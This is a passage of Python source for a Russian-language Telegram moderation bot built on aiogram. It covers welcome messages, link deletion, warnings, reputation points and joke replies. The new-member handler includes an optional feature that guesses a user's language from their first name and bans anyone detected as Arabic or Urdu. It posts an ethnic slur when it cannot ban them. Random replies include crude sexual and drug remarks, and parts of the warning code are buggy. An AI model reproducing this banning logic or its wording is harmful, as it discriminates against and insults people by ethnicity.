InlineKeyboardMarkup().add(recaptcha_btn)'''\n\n\n@dp.message_handler(content_types=[\"new_chat_members\"])\nasync def handler_new_member(message: types.Message, state: FSMContext):\n try:\n chats = chatsql.select_data(message.chat.id, \"id\")[0]\n except IndexError:\n chats = 0\n link = await message.chat.get_url()\n link = str(link)\n await new_chat(message.chat.id, link)\n try:\n us = sql.select_data(message.from_user.id, \"id\")[0]\n except IndexError:\n us = 0\n username = message.new_chat_members[0].username\n await new_user(message.from_user.id, username)\n welcomes = chatsql.select_data(message.chat.id, \"id\")[0]\n if int(welcomes[3]) != 0:\n chats = chatsql.select_data(message.chat.id, \"id\")[0]\n user_name = message.new_chat_members[0].first_name\n if len(chats[2]) > 4:\n link = await message.chat.get_url()\n link = str(link)\n texts = str(chats[2])\n texts = texts.replace('{firstname}', str(message.new_chat_members[0].first_name))\n texts = texts.replace('{username}', f'@{str(message.new_chat_members[0].username)}')\n texts = texts.replace('{id}', str(message.new_chat_members[0].id))\n texts = texts.replace('{link}', str(link))\n if len(texts.split('|')) >= 4:\n msg = texts.split('|')\n button_name = msg[1]\n button_url = msg[2]\n btn = InlineKeyboardButton(text=button_name, url=button_url)\n btns = InlineKeyboardMarkup(row_width=1).add(btn)\n try:\n if chats[11] != 0:\n aye = detect(str(message.new_chat_members[0].first_name))\n if aye == 'ur' or aye == 'ar':\n try:\n await message.chat.kick(message.new_chat_members[0].id, 999, True)\n except:\n await message.reply('У меня нету прав на блок юзеров. А это ебаный араб.')\n else:\n try:\n texts = texts.replace('| ', '')\n texts = texts.replace(' |', '')\n texts = texts.replace('|', '')\n texts = texts.replace(button_url, '')\n texts = texts.replace(button_name, '')\n await message.answer(texts, reply_markup=btns)\n except:\n await message.answer(texts)\n except:\n await message.reply(texts)\n\n else:\n await message.reply(\"Добро пожаловать {0}! Я Бот Модератор новый бот:))\".format(user_name))\n\n\n\nabs = []\n\n\n'''@dp.message_handler(state=CaptchaMsg.waiting_captcha)\nasync def fsm_captcha(message: types.Message, state: FSMContext):\n user_data = await state.get_data()\n try:\n aboba = int(message.text)\n if len(str(aboba)) > 4:\n print('zzzzzzzzzzzzzzz')\n if message.from_user.id == int(user_data['userid']):\n if message.text == user_data['captcha']:\n await bot.delete_message(message.chat.id, int(user_data['messageid']))\n await message.delete()\n await message.answer('Капча пройдена.')\n await state.finish()\n else:\n if len(abs) >= 3:\n ro_end_date = message.date + timedelta(minutes=120)\n await message.chat.kick(\n user_id=message.from_user.id,\n until_date=ro_end_date,\n revoke_messages=True)\n abs.clear()\n await message.delete()\n await message.answer('Пользователь заблокирован за 3 неудачных ввода капчи.')\n else:\n abs.append(len(abs))\n await message.delete()\n await message.answer('Капча неверная. Попробуй еще раз.')\n except:\n if message.from_user.id == int(user_data['userid']):\n await message.delete()'''\n\n\n'''@dp.callback_query_handler(text=\"recaptcha\", state=CaptchaMsg.waiting_captcha)\nasync def recaptcha(call: types.CallbackQuery, state: FSMContext):\n user_data = await state.get_data()\n if call.from_user.id == user_data['userid']:\n image = ImageCaptcha(fonts=['font/a.ttf'])\n a = str(random.randint(0, 9))\n b = str(random.randint(0, 9))\n v = str(random.randint(0, 9))\n g = str(random.randint(0, 9))\n image.write(a + b + v + g, f'captcha{call.from_user.id}.png')\n bot_msg = await call.message.edit_media(\n types.input_media.InputMediaPhoto(types.InputFile(f'C:/Users/User/PycharmProjects/bot1111112/bot_hendlers/captcha{call.from_user.id}.png')),\n reply_markup=captcha_kb)\n await state.update_data(captcha=a + b + v + g)\n await state.update_data(messageid=bot_msg.message_id)'''\n\n\n@dp.message_handler(commands=['edit'], commands_prefix=['/', '!', '.'])\nasync def edit(message: types.Message, state: FSMContext):\n\ttry:\n\t\tchats = chatsql.select_data(message.chat.id, \"id\")[0]\n\texcept IndexError:\n\t\tchats = 0\n\t\tlink = await message.chat.get_url()\n\t\tlink = str(link)\n\t\tawait new_chat(message.chat.id, link)\n\tchatsss = chatsql.select_data(message.chat.id, 'id')[0]\n\tuserid = re.search(r'/edit @\\S+', message.text)\n\tuserid = userid.group(0)\n\tuserid = userid.replace('/edit @', '')\n\tprint(userid)\n\tadmt = await message.chat.get_member(message.from_user.id)\n\tif admt.is_chat_admin():\n\t\ttables = message.text.replace(f'/edit @{userid} ', '')\n\t\tprint(tables)\n\t\tif re.search(r'repa', tables):\n\t\t\ttabl = 'repa'\n\t\t\trepas = tables.replace('repa ', '')\n\t\t\trepas = int(repas)\n\t\t\tsql.edit_data('username', userid, f'{tabl}', repas)\n\t\t\tawait message.answer(f'Репутация @{userid} успешно изменена на {repas}')\n\telse:\n\t\tawait message.delete()\n\n@dp.message_handler(commands=['welcome'], commands_prefix=['/', '!', '.'])\nasync def welcome(message: types.Message, state: FSMContext):\n\ttry:\n\t\tchats = chatsql.select_data(message.chat.id, \"id\")[0]\n\texcept IndexError:\n\t\tchats = 0\n\t\tlink = await message.chat.get_url()\n\t\tlink = str(link)\n\t\tawait new_chat(message.chat.id, link)\n\tchatsss = chatsql.select_data(message.chat.id, 'id')[0]\n\tif chatsss[8] != 0:\n\t\tadmt = await message.chat.get_member(message.from_user.id)\n\t\tif admt.is_chat_admin():\n\t\t\ttry:\n\t\t\t\tchats = chatsql.select_data(message.chat.id, \"id\")[0]\n\t\t\t\ttexts = message.text.replace('/welcome ', '')\n\t\t\t\ttexts = texts.replace(\"\"\"\n\t\t\t\t\t\t\t\t\t\"\"\", '\\n')\n\t\t\t\tchatsql.edit_data('id', int(message.chat.id), 'text', texts)\n\t\t\t\tawait message.answer('Текст приветствия успешно изменён.')\n\t\t\texcept:\n\t\t\t\tawait message.answer('Используйте /welcome *текст*')\n\t\telse:\n\t\t\tbot_msg = await message.reply('У вас нету доступа.')\n\t\t\tawait message.delete()\n\t\t\tawait asyncio.sleep(0.5)\n\t\t\tawait bot_msg.delete()\n\n\n@dp.message_handler(content_types=[\"new_chat_photo\"])\nasync def mats(message: types.Message, state: FSMContext):\n if message.chat.id == -1001230882554 or 0 == 0:\n try:\n chats = chatsql.select_data(message.chat.id, \"id\")[0]\n except IndexError:\n chats = 0\n link = await message.chat.get_url()\n link = str(link)\n await new_chat(message.chat.id, link)\n chatsss = chatsql.select_data(message.chat.id, 'id')[0]\n if chatsss[8] != 0:\n await message.delete()\n\n\n'''@dp.message_handler(commands='mats')\nasync def mats(message: types.Message, state: FSMContext):\n\ttry:\n\t\tchats = chatsql.select_data(message.chat.id, \"id\")[0]\n\texcept IndexError:\n\t\tchats = 0\n\t\tlink = await message.chat.get_url()\n\t\tlink = str(link)\n\t\tawait new_chat(message.chat.id, link)\n\tchatsss = chatsql.select_data(message.chat.id, 'id')[0]\n\tif chatsss[8] != 0:\n\t\tchatsss = chatsql.select_data(message.chat.id, 'id')[0]\n\t\tadmt = await message.chat.get_member(message.from_user.id)\n\t\tif admt.is_chat_admin():\n\t\t\tif int(chatsss[5]) == 0:\n\t\t\t\tchatsql.edit_data('id', int(message.chat.id), 'mats', 1)\n\t\t\t\tawait message.answer('Анти-Мат включен.')\n\t\t\telif int(chatsss[5]) == 1:\n\t\t\t\tchatsql.edit_data('id', int(message.chat.id), 'mats', 0)\n\t\t\t\tawait message.answer('Анти-Мат выключен.')\n\t\telse:\n\t\t\tawait message.answer('У тебя нету прав.')\n\t\t\tawait asyncio.sleep(0.5)\n\t\t\tawait message.delete()'''\n\n\n\n\n# @dp.message_handler(content_types=['photo'])\n# async def handle_docs_photo(message):\n# if message.from_user.id == 1499060992:\n# aye = message.photo[-1]\n# await bot.send_photo(message.from_user.id, aye.file_id, message.caption)#\n\n\n@dp.message_handler(content_types=['sticker'])\nasync def msgstixker(message: types.Message):\n a = message.sticker.file_id\n b = message.sticker.file_unique_id\n if not b in stickall:\n await new_sticker(a, message.sticker.file_unique_id)\n if message.chat.id != message.from_user.id:\n pass\n else:\n return\n try:\n us = sql.select_data(message.from_user.id, \"id\")[0]\n except:\n username = message.from_user.username\n await new_user(message.from_user.id, username)\n try:\n chats = chatsql.select_data(message.chat.id, \"id\")[0]\n except IndexError:\n chats = 0\n link = await message.chat.get_url()\n link = str(link)\n await new_chat(message.chat.id, link)\n us = sql.select_data(message.from_user.id, \"id\")[0]\n chatsss = chatsql.select_data(message.chat.id, 'id')[0]\n if chatsss[8] == 1:\n if chatsss[8] != 0 and message.chat.id != message.from_user.id:\n chatsss = chatsql.select_data(message.chat.id, \"id\")[0]\n chatsql.edit_data('id', message.chat.id, 'sms', chatsss[6] + 1)\n else:\n await message.delete()\n\n\n@dp.message_handler(Text(\"Список аниме\", ignore_case=True))\nasync def f(message: types.Message):\n if not message.reply_to_message:\n await message.reply(\"\"\"Вот что мне известно об \"Аниме\",\n1. Ковбой бибоб\n2. Наруто\n3. Боруто\n4. Блич\n5.Сейлор Мун\n6 Хвост феи \n7. Джоджо\n8. Ван-пис\n9. Дневник будущего\n10. Тетрадь смерти\n11. Бездомный Бог\n12. Очень приятно, Бог\n13. KonoSuba\n14. Bakemonogatari\n15. Быть героиней\n16. Токийский гуль\n17. Красноволосая принцесса Белоснежка\n18. Башня бога\n19. Да, я Сакомото, а что\n20. Волейбол\n21. Баскетбол Куроко\n22. FREE\n23. Юри на льду\n24. Бакуган\n25. В подземелье я пойду там красавицу найду\n26. Врата, там где бьются наши воины\n27. Танкистки\n28. Твоя апрельская ложь\n29. Твоё имя\n30. Форма голоса\n31. За гранью\n32. Монстр за соседней партой\n33. Атака титанов\n34. Взрыв\n35. Паразит\n36. Тайные желания отвергнутых\n37. Школа тюрьма\n38. Школа мертвецов\n39. Нет игры - нет жизни\n40. Мастер меча онлайн\n41. Kill la kill\n42. Ангельские ритмы\n43. Поцелуй сестричек\n44. Монстр в юбке\n45. Удар крови\n46. Токийские вороны\n47. Убийца Акаме\n48. Обещанный Неверленд\n49. Вельзевул\n50. Корона греха\n51. Дьявольские возлюбленные\n52. Покемоны\n53. Overlord\n54. Evangelion\n55. 91 день\n56. Ангел кровопролития \n57. Made in abbys\n58. Туалетный мальчик Ханако\n59. Kosmoboy\n60. Gundam\n61. Я хочу съесть твою поджелудочную\n62. Идеальный муж и я, или как украсть 55 поцелуев\n63. K-on\n64. Класс убийц \n65. Президент студсовета моя жена\n66. Синий экзорцист\n67. Последний Серафим\n68. История рам\n69. Сатана на подработке\n70. Повар-боец Сома\n71. Отдай мое тело\n72. Ямадо и семь ведьм\n73. Требую яоя\n74. Волчица и пряности\n75. 7 смертных грехов\n76. Mob psyxo 100\n77. Психопаспорт\n78. Иная\n79. Эроманга сенсей\n80. Литераторы и алхимики \n81. Врата Штейна\n82. Стальной алхимик\n83. Гурен-лаган\n84. Ванпанчмен\n85. Парад смерти\n86. Безумный азарт\n87. Город в котором меня нет\n88. Жизнь в альтернативном мире с нуля\n89. Шарлотта\n90. Король шаманов\n91. Гинтама\n92. Пожиратель душ\n93. Великий из бродячих псов\n94. Две звезды Онимёджи\n95. Чёрная пуля\n96. Чёрный клевер\n97. Убийца гоблинов\n98. Крутой учитель Онидзука\n99. Виолетта Эвердгарден\n100. Дракон-горничная Такибаяши\n101. Серавмп\n102. Клинок рассекающий демонов\n103. Боку но Пико\n104. Волчица и черный принц\n105. Сайт волшебниц\n106. Легенда о Гранкресте\n107. Восхождение героя щита\n108. Не скрывая крик\n109. Пластиковые воспоминания\n110. Абсолютный дует \n111. Хост клуб Оранской школы\n112. Трогательный комплекс\n113. В лес, где мерцают светлячки\n114. Грабитель\n115. Кизнайвер\n116. Госпожа Кагуя, в любви как на войне\n117. Притворная любовь\n118. Волчьи дети Амэ и Юки\n119. Линия дьявола\n120. Унесённые призраками\n121. Я, пёс и секретная служба\n122. Эльфийская песня\n123. Милый во Франксе \n124. Темный дворецкий\n125. Бригада пожарных\n126. Садисткая смесь\n127. Моя геройская академия \n128. Танец мечей\n129. Связанные миры\n130. Месть Масамунэ куна\n131. Дурочка\n132. ОхотникХОхотник\n134. Любовь и ложь\n135. Загадка дьявола\n136. Кабанери из стальной крепости\n137. Дорога юности\n138. Вторжение\n139. Мир в котором не существует самой концепции похабных шуток\n140. Вокалоиды.\n141. Агент паранойи\n142. Драматическое убийство\n143. Дитя погоды\n144. Богатый детектив\n145. Необъятный океан\n146. Котоура сан\n147. Эхо тепрора\n148. Класс убийц\"\"\")\n\n\n@dp.message_handler(content_types=['text'])\nasync def msg(message: types.Message):\n try:\n us = sql.select_data(message.from_user.id, \"id\")[0]\n except:\n username = message.from_user.username\n await new_user(message.from_user.id, username)\n try:\n chats = chatsql.select_data(message.chat.id, \"id\")[0]\n except IndexError:\n chats = 0\n link = await message.chat.get_url()\n link = str(link)\n await new_chat(message.chat.id, link)\n us = sql.select_data(message.from_user.id, \"id\")[0]\n chatsss = chatsql.select_data(message.chat.id, 'id')[0]\n if re.search(r'http\\S+', message.text) or re.search(r't.me\\S+', message.text) or re.search(r'@\\S+',\n message.text) or re.search(\n r'//\\S+', message.text):\n if chatsss[14] == 1:\n admt = await message.chat.get_member(message.from_user.id)\n if admt.is_chat_admin():\n return\n await message.delete()\n if message.text == '!settings' or message.text == '/settings' or message.text == '/settings@king_admin_bot':\n admt = await message.chat.get_member(message.from_user.id)\n if admt.is_chat_admin():\n await message.reply('Окей, я отправил тебе настройки в лс!')\n link_foronbot = await message.chat.get_url()\n vkl_btn = InlineKeyboardButton('Включить бота', callback_data=f'onbot_{message.chat.id}')\n act_btn = InlineKeyboardButton('Поддержание актива', callback_data=f'actbot_{message.chat.id}')\n welc_btn = InlineKeyboardButton('Приветствия', callback_data=f'welcbot_{message.chat.id}')\n reon_btn = InlineKeyboardButton('Удаление смс', callback_data=f'reonbot_{message.chat.id}')\n tix_btn = InlineKeyboardButton('Тихий режим', callback_data=f'tixbot_{message.chat.id}')\n arabs_btn = InlineKeyboardButton('Арабы', callback_data=f'arabsbot_{message.chat.id}')\n repa_btn = InlineKeyboardButton('Репутация', callback_data=f'repabot_{message.chat.id}')\n rules_btn = InlineKeyboardButton('Правила', callback_data=f'rulesbot_{message.chat.id}')\n welcomes_btn = InlineKeyboardButton('Приветствие', callback_data=f'welcomesbot_{message.chat.id}')\n reports_btn = InlineKeyboardButton('Репорты', callback_data=f'reportsbot_{message.chat.id}')\n links_btn = InlineKeyboardButton('Анти-Ссылки', callback_data=f'linksbot_{message.chat.id}')\n mats_btn = InlineKeyboardButton('Анти-Маты', callback_data=f'matsbot_{message.chat.id}')\n settings_kb = InlineKeyboardMarkup(row_width=2).add(vkl_btn, act_btn, welc_btn, links_btn, mats_btn,\n reon_btn, repa_btn, tix_btn, arabs_btn, welcomes_btn,\n reports_btn, rules_btn)\n texts = data.settings_text.format(str(link_foronbot))\n sql.edit_data('id', message.from_user.id, 'admchat', message.chat.id)\n await bot.send_message(message.from_user.id, texts, reply_markup=settings_kb, disable_web_page_preview=True)\n if chatsss[8] == 1:\n if chatsss[8] != 0 and message.chat.id != message.from_user.id:\n\n chatsss = chatsql.select_data(message.chat.id, \"id\")[0]\n chatsql.edit_data('id', message.chat.id, 'sms', chatsss[6] + 1)\n\n if message.text == 'Bot' or message.text == 'Бот' or message.text == '@king_admin_bot':\n textsa = hlink('Бот Модератор', 'https://t.me/king_admin_bot')\n\n await message.reply(f'Привет , я {textsa}! Мои команды:\\n\\n — напиши /help')\n\n if re.search(r'@king_of_this_world_1 \\S+', message.text) or re.search(r'king_of_this_world_1 \\S+', message.text):\n if chatsss[4] != 0:\n texts = message.text.replace('Бот ', '')\n\n texts = texts.replace('Bot ', '')\n\n if re.search(r'или', texts):\n\n if re.search(r'вилкой в', texts):\n\n abob = ['тебе вилкой в жопу хуйлуша блять', 'хуём в глаз.\\nтебе']\n\n aboba = random.choice(abob)\n\n await message.reply(aboba)\n\n else:\n\n perv = re.search(r'\\S+', texts)\n\n perv1 = re.search(r' \\S+', texts)\n\n perv = perv.group(0)\n\n vtor = texts\n\n vtor = vtor.replace('или ', '')\n\n vtor = vtor.replace(perv, '')\n\n vtor = vtor.replace('?', '')\n\n perv = perv.replace('?', '')\n\n rn = [perv, vtor]\n\n otvetka = random.choice(rn)\n\n await message.reply(otvetka)\n\n if re.search(r'стикер', texts):\n srik = [i[0] for i in stickall]\n stick = random.choice(srik)\n await message.reply_sticker(stick)\n return\n\n if re.search(r'кто', texts) or re.search(r'Кто', texts):\n kto = texts.replace('кто ', '')\n kto = kto.replace('Кто', '')\n kto = kto.replace('?', '')\n users_query = sql.get_all_data()\n user_ids = [user[0] for user in users_query]\n user_id = random.choice(user_ids)\n while (await message.chat.get_member(user_id)).status == 'left':\n user_id = random.choice(user_ids)\n else:\n user = await bot.get_chat(user_id)\n await message.answer(f'{hlink(\"Он\", f\"tg://user?id={user_id}\")} {kto}',\n disable_web_page_preview=True)\n '''if texts == 'Обо мне' or texts == 'обо мне':\n if 0 == 0:\n userid = message.from_user.id\n us = sql.select_data(message.from_user.id, \"id\")[0]\n repa = us[2]\n admt = await message.chat.get_member(message.from_user.id)\n if 0 is 0:\n texts = 'Твой ник: @{0}\\n\\nТвоя карма: {1} ✝\\n\\nТвои варны: {2}\\nТы админ!'.format(\n message.from_user.username, repa, us[3])\n await message.reply(texts)\n else:\n texts = 'Твой ник: @{0}\\n\\nТвоя карма: {1} <3\\n\\nТвои варны: {2}\\nТы не админ!'.format(\n message.from_user.username, repa, us[3])\n await message.reply(texts)'''\n\n if re.search(r'скажи', texts):\n textl = texts.replace('скажи ', '')\n\n textl = textl.replace('скажи', '')\n\n textl = textl.replace('Скажи', '')\n\n await message.answer(textl)\n\n if re.search(r'продолжи \\S+', texts):\n a = texts.replace('продолжи ', '')\n if re.search(r'улитка', a):\n generated_text = ' но бармен заявляет: \"У нас строгая политика в отношении улиток!\" — и ногой выпихивает ее на улицу. Через неделю улитка возвращается в бар и говорит бармену: \"Ну и нахуя ты это сделал!?\"'\n await message.reply(generated_text)\n\n else:\n\n if re.search(r'Bot \\S+', message.text):\n\n ashajajabajnajsa = 0\n\n else:\n\n chance = random.randint(0, int(chatsss[10]))\n\n if chance == 1:\n\n chan = ['otvets', 'slovall', 'jopa', 'a', 'b']\n\n otvets = ['Привет, я Бот Модератор!', 'Сперма на вкус как яичный белок', 'Жопа в говне',\n '.notexec aboba', 'Я курю травку']\n\n chance = random.choice(chan)\n\n if chance == 'otvets':\n\n otvet = random.choice(otvets)\n\n await message.reply(otvet)\n\n else:\n\n otvet = random.choice(slovall)\n\n if otvet != \"('1',)\":\n await message.reply(otvet)\n\n if message.text == '!rules' or message.text == '/rules':\n rules = chatsss[7]\n await message.reply(rules, disable_web_page_preview=True)\n # reports\n '''if message.text == '/report' or message.text == '!report':\n admt = await message.chat.get_member(message.reply_to_message.from_user.id)\n if message.reply_to_message and chatsss[13] == 1:\n if not admt.is_chat_admin():\n await message.reply(\n f'Вы пожаловались на сообщение пользователя @{message.reply_to_message.from_user.username}')\n adminschat = await bot.get_chat_administrators(message.chat.id)\n adminss = []\n for i in adminschat:\n if i.user.is_bot:\n pass\n else:\n try:\n bot_msg = await bot.send_message(i.user.id, 'test')\n msgid = bot_msg.message_id\n await bot.delete_message(i.user.id, msgid)\n adminss.append(i.user.id)\n except:\n pass\n deletemsg_btn = InlineKeyboardButton('Удалить сообщение',\n callback_data=f'delmsg_{message.reply_to_message.message_id}_{message.chat.id}')\n blockuser_btn = InlineKeyboardButton('Забанить нарушителя',\n callback_data=f'banuser_{message.reply_to_message.from_user.id}_{message.chat.id}')\n muteuser_btn = InlineKeyboardButton('Замьютить нарушителя',\n callback_data=f'muteuser_{message.reply_to_message.from_user.id}_{message.chat.id}')\n kickuser_btn = InlineKeyboardButton('Кикнуть нарушителя',\n callback_data=f'kickuser_{message.reply_to_message.from_user.id}_{message.chat.id}')\n report_kb = InlineKeyboardMarkup(row_width=2).add(deletemsg_btn, blockuser_btn, muteuser_btn,\n kickuser_btn)\n link = await message.chat.get_url()\n for i in range(len(adminss)):\n i = adminss[i]\n if i == 0:\n i = adminss[0]\n await bot.send_message(i,\n f'Чат: {link}\\nПользователь: @{message.from_user.username}\\nНарушитель: @{message.reply_to_message.from_user.username}\\nТекст сообщения: {message.reply_to_message.text}\\nСсылка на сообщение: {link}/{message.reply_to_message.message_id}\\n\\nВыберите действие:',\n reply_markup=report_kb, disable_web_page_preview=True)\n else:\n await bot.send_message(i,\n f'Чат: {link}\\nПользователь: @{message.from_user.username}\\nНарушитель: @{message.reply_to_message.from_user.username}\\nТекст сообщения: {message.reply_to_message.text}\\nСсылка на сообщение: {link}/{message.reply_to_message.message_id}\\n\\nВыберите действие:',\n reply_markup=report_kb, disable_web_page_preview=True)\n else:\n await message.reply('Это админ, какой нахуй репорт?')'''\n\n '''if message.text == '!me' or message.text == '/me' or message.text == 'кто я' or message.text == 'Кто я':\n userid = message.from_user.id\n us = sql.select_data(message.from_user.id, \"id\")[0]\n repa = us[2]\n if 0 is 0:\n texts = 'Твой ник: @{0}\\n\\nТвоя карма: {1} ✝\\n\\nТвои варны: {2}'.format(message.from_user.username,\n repa, us[3])\n await message.reply(texts)\n else:\n texts = 'Твой ник: @{0}\\n\\nТвоя карма: {1} <3\\n\\nТвои варны: {2}\\nТы не админ!'.format(\n message.from_user.username, repa, us[3])\n await message.reply(texts)'''\n\n if message.text.startswith('развод') or message.text.startswith('Развод'):\n partner = sql.select_data(us[5], \"id\")[0]\n if us[5] != 0:\n if partner[5] == message.from_user.id:\n print(1)\n otkazat = InlineKeyboardButton(text='Развестись 💔', callback_data=f'brakotkaz_{partner[0]}')\n brak = InlineKeyboardMarkup(row_width=2).add(otkazat)\n await message.reply(\n f'{hlink(message.from_user.first_name, f\"tg://user?id={us[0]}\")} предложил развестись {hlink(partner[1], f\"tg://user?id={partner[0]}\")}',\n reply_markup=brak)\n else:\n await message.reply('Ты не в браке!')\n else:\n await message.reply('Ты не в браке!')\n\n\n '''if message.text == 'да':\n await message.reply('пизда')\n if message.text == 'da':\n await message.reply('pizda')\n if message.text == '/del' or message.text == '!del':\n admt = await message.chat.get_member(message.from_user.id)\n if admt.is_chat_admin():\n await bot.delete_message(message.chat.id, message.reply_to_message.message_id)\n await message.delete()'''\n '''if message.text == '!pin' or message.text == '!закрепить' or message.text == '/pin':\n\n if message.reply_to_message:\n\n try:\n\n admt = await message.chat.get_member(message.from_user.id)\n\n if admt.is_chat_admin():\n\n await message.chat.pin_message(message.reply_to_message.message_id, False)\n\n await message.reply('Сообщение закреплено')\n\n else:\n\n await message.reply('У вас нету доступа.')\n\n await message.delete()\n\n except:\n\n await message.reply('У меня нету прав(')\n\n else:\n\n await message.reply('Это надо писать в ответ на сообщение.')'''\n\n '''if message.text == '!unpin' or message.text == '!открепить' or message.text == '/unpin':\n\n if message.reply_to_message:\n\n try:\n\n admt = await message.chat.get_member(message.from_user.id)\n\n if admt.is_chat_admin():\n\n await message.chat.unpin_message(message.reply_to_message.message_id)\n\n await message.reply('Сообщение откреплено')\n\n else:\n\n await message.reply('У вас нету доступа.')\n\n await message.delete()\n\n except:\n\n await message.reply('У меня нету прав(')\n\n else:\n\n await message.reply('Это надо писать в ответ на сообщение.')'''\n\n if re.search(r'!photos', message.text):\n admt = await message.chat.get_member(message.from_user.id)\n\n jopa = message.text.replace('!photos ', '')\n\n prop = await bot.get_chat_member(message.chat.id, 1916288033)\n\n if prop.can_manage_chat == True or prop.can_delete_messages == True:\n if prop.can_manage_chat == True and prop.can_delete_messages == True:\n\n if admt.is_chat_admin():\n\n try:\n\n rang = int(jopa)\n\n except ValueError:\n await message.reply(\n 'Вы ввели не верное кол-во аватарок, используйте:\\n\\n !photos *число*')\n chat_info = await bot.get_chat(message.chat.id)\n stok = chat_info.photo.big_file_id\n try:\n await bot.photo(stok).download(f'C:/Users/User/PycharmProjects/pythonProject8/img/{message.chat.id}.png')\n except:\n stok = f'C:/Users/User/PycharmProjects/pythonProject8/img/{message.chat.id}.png'\n rang = int(jopa)\n\n try:\n await message.chat.set_photo(\n types.InputFile(f'C:/Users/User/PycharmProjects/pythonProject8/img/photo{rang}.png'))\n except:\n await message.reply_voice(types.InputFile('C:/Users/User/PycharmProjects/pythonProject8/voice/1.mp3'))\n return\n bot_msg = await message.reply('Цикл начат, сейчас 1-ая ава')\n # await bot_msg.edit_text('Столько аватарок у меня нету..')\n for i in range(1, rang + 1):\n await message.chat.set_photo(types.InputFile(f'C:/Users/User/PycharmProjects/pythonProject8/img/photo{i}.png'))\n await bot_msg.edit_text(f'Сейчас {i}-ая ава.')\n await asyncio.sleep(10)\n await bot_msg.edit_text('Цикл завершен.')\n await message.chat.set_photo(types.InputFile(stok))\n\n if prop.can_manage_chat == True and prop.can_delete_messages == False:\n await message.answer('У меня нету прав на: \\n\\n — удаление сообщений')\n\n if prop.can_manage_chat == False and prop.can_delete_messages == True:\n await message.answer('У меня нету прав на: \\n\\n — изменение профиля группы')\n\n else:\n\n await message.answer('У меня нету прав на: \\n\\n — изменение профиля группы\\n — удаление сообщений')\n if chatsss[12] == 1:\n if message.text == '+' or message.text == '👍' or message.text == '++' or message.text == '+++':\n us = sql.select_data(message.reply_to_message.from_user.id, \"id\")[0]\n if message.reply_to_message.from_user.id != message.from_user.id:\n userid = message.from_user.id\n if userid in af:\n if datetime.datetime.now().second - af[userid].second <= 59:\n await message.reply(f'Вы слишком часто меняете репутацию. Можно раз в минуту')\n else:\n af[userid] = datetime.datetime.now()\n await repafun(message.reply_to_message.from_user.id)\n utext = hlink('пользователю',\n f'https://t.me/{message.reply_to_message.from_user.username}')\n await message.reply(\n f'Вы повысили репутацию {utext} на +1\\n\\nЕго репутация: {us[2] + 1}❤️',\n disable_web_page_preview=True)\n else:\n af[userid] = datetime.datetime.now()\n await repafun(message.reply_to_message.from_user.id)\n utext = hlink('пользователю', f'https://t.me/{message.reply_to_message.from_user.username}')\n await message.reply(f'Вы повысили репутацию {utext} на +1\\n\\nЕго репутация: {us[2] + 1}❤️',\n disable_web_page_preview=True)\n else:\n await message.reply(\n f'Ляя {message.from_user.first_name}, я тоже себя люблю. Но к сожалению самому себе репу поднять нельзя(')\n\n if message.text == '-' or message.text == '👎':\n us = sql.select_data(message.reply_to_message.from_user.id, \"id\")[0]\n if message.reply_to_message.from_user.id != message.from_user.id:\n userid = message.from_user.id\n if userid in af:\n if datetime.datetime.now().second - af[userid].second <= 59:\n await message.reply(f'Вы слишком часто меняете репутацию. Можно раз в минуту')\n else:\n af[userid] = datetime.datetime.now()\n await unrepafun(message.reply_to_message.from_user.id)\n utext = hlink('пользователю',\n f'https://t.me/{message.reply_to_message.from_user.username}')\n await message.reply(\n f'Вы понизили репутацию {utext} на -1\\n\\nЕго репутация: {us[2] - 1}❤️',\n disable_web_page_preview=True)\n else:\n af[userid] = datetime.datetime.now()\n await unrepafun(message.reply_to_message.from_user.id)\n utext = hlink('пользователю', f'https://t.me/{message.reply_to_message.from_user.username}')\n await message.reply(f'Вы понизили репутацию {utext} на -1\\n\\nЕго репутация: {us[2] - 1}❤️',\n disable_web_page_preview=True)\n else:\n await message.reply('Пчел ты.. так нельзя')\n\n if re.search(r'/warn', message.text) or re.search(r'!warn', message.text):\n if message.reply_to_message:\n admt = await message.chat.get_member(message.from_user.id)\n if not admt.is_chat_admin():\n return\n try:\n utext = hlink('Пользователь', f'https://t.me/{message.reply_to_message.from_user.username}')\n us = sql.select_data(int(message.reply_to_message.from_user.id), 'id')[0]\n warns = us[3]\n admt = await message.chat.get_member(message.reply_to_message.from_user.id)\n if warns >= 2 and not admt.is_chat_admin():\n sql.edit_data('id', message.reply_to_message.from_user.id, 'warn', 0)\n await message.chat.kick(\n user_id=message.reply_to_message.from_user.id,\n revoke_messages=True,\n until_date=ro_end_date)\n await message.reply(\n f'{utext} получил варн от @{message.from_user.username} и был забанен за 3 варна.')\n if warns >= 0 and warns < 3 and warns != 2 and not admt.is_chat_admin():\n sql.edit_data('id', message.reply_to_message.from_user.id, 'warn', warns + 1)\n warns = us[3]\n await message.reply(\n f'{utext} получил варн от @{message.from_user.username}. Его варны: {warns + 1}')\n\n except:\n\n await message.reply('Ошибка.')\n else:\n admt = await message.chat.get_member(message.from_user.id)\n\n if not admt.is_chat_admin():\n return\n userid = message.text.replace('!warn @', '')\n userid = userid.replace('/warn @', '')\n us = sql.select_data(userid, \"username\")[0]\n us = us[0]\n\n try:\n\n utext = hlink('Пользователь', f'https://t.me/{userid}')\n\n us = sql.select_data(int(us), 'id')[0]\n warns = us[3]\n admt = await message.chat.get_member(us[0])\n if warns >= 2 and not admt.is_chat_admin():\n sql.edit_data('id', us[0], 'warn', 0)\n await message.chat.kick(\n user_id=us[0],\n until_date=ro_end_date,\n revoke_messages=True)\n await message.reply(\n f'{utext} получил варн от @{message.from_user.username} и был забанен за 3 варна.')\n if warns >= 1 and warns < 3 and warns != 2 and not admt.is_chat_admin():\n sql.edit_data('id', us, 'warn', warns + 1)\n warns = us[3]\n await message.reply(\n f'{utext} получил варн от @{message.from_user.username}. Его варны: {warns + 1}')\n\n except:\n\n await message.reply('Ошибка.')\n\n if re.search(r'/unwarn', message.text) or re.search(r'!unwarn', message.text):\n if message.reply_to_message:\n admt = await message.chat.get_member(message.from_user.id)\n\n if not admt.is_chat_admin():\n return\n\n try:\n utext = hlink('Пользователь', f'https://t.me/{message.reply_to_message.from_user.username}')\n sql.edit_data('id', message.reply_to_message.from_user.id, 'warn', 0)\n await message.reply(f'{utext} был освобожден от варнов, админом @{message.from_user.username}')\n except:\n await message.reply('Ошибка.')\n else:\n admt = await message.chat.get_member(message.from_user.id)\n if not admt.is_chat_admin():\n return\n userid = message.text.replace('!unwarn @', '')\n userid = userid.replace('/unwarn @', '')\n try:\n utext = hlink('Пользователь', f'https://t.me/{userid}')\n sql.edit_data('username', userid, 'warn', 0)\n await message.reply(f'{utext} был освобожден от варнов, админом 